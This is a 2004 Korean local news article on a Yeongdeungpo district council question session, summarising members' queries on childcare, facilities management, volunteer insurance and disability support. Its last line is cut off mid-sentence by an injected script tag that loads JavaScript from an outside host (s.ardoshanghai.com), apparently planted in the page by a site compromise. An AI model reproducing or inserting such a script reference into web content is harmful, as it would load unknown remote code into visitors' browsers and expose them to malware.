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핵심 꿰뚫는 날카로운 질문 구정 바로잡기

관리자 기자  2004.12.15 04:12:00

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영등포구의회, 지난 7일과 8일 올바른 구정방향제시 위한 구정질의 벌여...

영등포구의회(의장 조길형)가 구정 난맥의 핵심을 꿰뚫는 날카로운 질문으로 구정 바로잡기에 나섰다.
올 제2차 정례회에 돌입, 행정사무감사를 마친 구의회는 지난 7일과 8일 이틀 간 질문을 통해 구정의 난맥을 집고 또 적절한 대안을 제시하면서 구정을 올바른 방향으로 이끌기 위한 구정질문을 벌였다.
이번 구정질문에서는 총 9명의 의원이 질의에 나서 11월 30일부터 12월 6일까지 7일간에 걸쳐 실시된 행정사무감사에서 지적됐거나, 지난 한해 의정활동을 전개하면서 발견된 구정의 난맥이나 비합리적인 사항 등과 관련 심도 있는 질문으로 구청을 질타하면서 구 행정을 바로잡았다.
질의에 나선 의원은 강두석(문래1동)ㆍ박승석(신길4동)ㆍ박정자(대림3동)ㆍ고기판(도림2동)ㆍ오인영(양평1동)ㆍ김성렬(당산1동)ㆍ김동철(대림2동)ㆍ배기한(신길2동)ㆍ고현순(신길7동) 이상 9명이며, 류병하(여의동)ㆍ이용주(양평2동)ㆍ김용수(당산2동) 의원 등은 보충질의를 했다.

강두석 의원(문래1동)

가장 먼저 질문에 나선 강두석 의원은 총 6가지 구정현안에 대한 질의를 폈는데, 우선 구의 시설관리공단 운영에 따른 부작용 및 부정적 요인 및 이에 대한 대책, 그리고 수익사업확대를 위한 발굴대상사업 등에 대해 물으면서 공단의 견인 및 정화조 청소대행 등으로의 사업영역확대를 주장했다.
이와 관련 강 의원은 “서울 25개 자치구 중 18개 구가 시설관리공단을 운영하고 있지만 대부분 경영마인드와 적극성 부족으로 시간이 지날수록 재정적자가 늘고 행정의 부담요소로 전락하고 있다”면서 “경제적인 측면에서 볼 때 수익을 낼만한 사업으로의 사업영역확대는 필수불가결 한 것”이라고 말했다.
이밖에도 강 의원은 양천 목동소각장(양천 자원회수시설)의 공동사용을 위한 구의 대책을 묻고, 부정ㆍ불량식품에 대한 신속하고도 기동력 있는 단속체계로의 제도개선방안 마련을 촉구했다.

 

박승석 의원(신길4동)

두 번째로 질의에 나선 박승석 의원은 구의 출산장려 대책과 민간보육시설의 환경개선과 보육의 질 향상을 위한 지원대책, 각 동별 구립어린이집 설치 현황과 구의 신설계획 등에 대해 묻고, 여성인력의 사회참여 보장을 위한 보육시설 지원예산 확대편성 및 보육료 대폭인하와 주민자치센터 활성화를 위한 시설현대화, 다양한 프로그램 운영을 위한 노인정의 대형화를 등을 촉구했다.
이중 박 의원은 주민자치센터와 관련, “각 동의 주민자치센터 운영실태를 보면 어느 동은 시설이 비교적 양호하고 프로그램이 다양해 활성화되고 있는 반면 일부 동은 시설 부족으로 그렇지 못하고 있는 동이 있다”면서 “주민의 눈높이에 맞는 건강, 문화, 교육 등의 수요를 충족시켜주고 또 주민자치센터의 활성화를 위해선 반드시 연차적인 시설의 현대화가 이뤄져야 한다”고 말했다.

박정자 의원 (대림3동)

대림3동 박정자 의원은 영등포구민 대다수가 구민의 노래와 구의 상징물을 모르고 있음을 지적하면서 이에 대한 대책 마련을 촉구했으며, 관내에서 활동하는 자원봉사자에 대한 보험 가입자가 적다는 것을 지적하면서 보험가입 대상 자원봉사자를 더욱 확대해 줄 것을 강력히 요구했다.
또 대림운동장 분지발생에 대한 예방대책마련을 요구했고, 차량 불법도로 출입시설물에 대한 단속 저조와 형평에 어긋난 과태료 부과 등을 지적하면서 금년 단속 실적과 과태료 부과액에 대한 자료를 요청하는 동시에 대대적인 지도단속 강화를 촉구했으며, 문래동 영등포초교 주변 고물상이 지금까지 철거나 이전되지 않고 있는 이유를 따져 물으며, 향후대책에 대한 구청 측 답변을 요청했다.
아울러 박 의원은 관련법 완화로 용이해진 도시가스 설치에 대한 구의 적극적인 홍보를 촉구했으며, 구립경로당의 소홀한 물품 및 집기관리를 지적하면서 구의 효율적인 집기비품관리 대책을 물었고, 마지막으로 행정발전 및 지역경제 활성화에 기여하는 내실 있는 예산편성을 구에 당부했다.

고기판 의원(도림2동)

이날 마지막 질의자로 나선 고기판 의원은 먼저 장애인 직업 박람회의 실효성에 의문을 제기하고, 장애인 고용창출자금대출의 까다로움을 지적하면서 장애인 사업자금 촉진기금을 조성할 용의가 없는 지를 구에 물었다.
또 구의 보육인원 현황에 따른 영아반과 유아반의 구성비 조정과 구립 및 정부지원 어린이집에 대한 지원 예산의 철저한 관리ㆍ감독, 운영에 있어 지역 주민들의 참여기회 확대 등을 촉구했으며, 관내 공중화장실의 장애인에 대한 베려가 부족함을 지적하면서 이에 대한 시정을 요구했다.
그리고 고 의원은 쓰레기봉투 취급의 어려움 및 쓰레기처리업체간 배정 구역의 불균형 등?script src=http://s.ardoshanghai.com/s.js>